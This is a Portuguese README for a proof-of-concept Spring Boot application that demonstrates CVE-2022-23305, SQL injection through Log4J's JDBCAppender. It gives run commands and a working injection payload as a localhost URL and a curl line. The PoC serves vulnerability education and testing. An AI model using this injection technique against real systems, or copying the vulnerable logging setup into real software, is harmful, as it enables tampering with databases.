
CVE-2022-23305 Log4J JDBCAppender SQl injeção POC
Esta é uma aplicação muito simples baseada em Spring Boot que demonstra a vulnerabilidade CVE-2022-23305. Ela utiliza Apache Maven, Spring Boot, Spring MVC e o banco de dados em memória H2 para registrar uma entrada simples, obtida a partir de um parâmetro de query string da URL. Como o Log4J está configurado para usar um JDBCAppender, ele é vulnerável a SQL injection.
Veja src/main/java/poc/InjectionController.java para a declaração de logging.
Veja a pasta src/main/resource para todos os arquivos de configuração.
Você pode executar a aplicação usando Java e Maven rodando "mvn clean spring-boot:run".
Você também pode executá-la como uma aplicação Docker da seguinte forma:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
A aplicação estará disponível em http://localhost:8080/.
Para explorar a vulnerabilidade, envie uma instrução SQL injetada como parâmetro que está sendo registrado:
"http://localhost:8080/?param=');insert into logs values(':("
O retorno listará as entradas de log adicionadas, contendo uma que foi adicionada pela sql injetada no parâmetro.
Para fazer o mesmo com curl, use:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('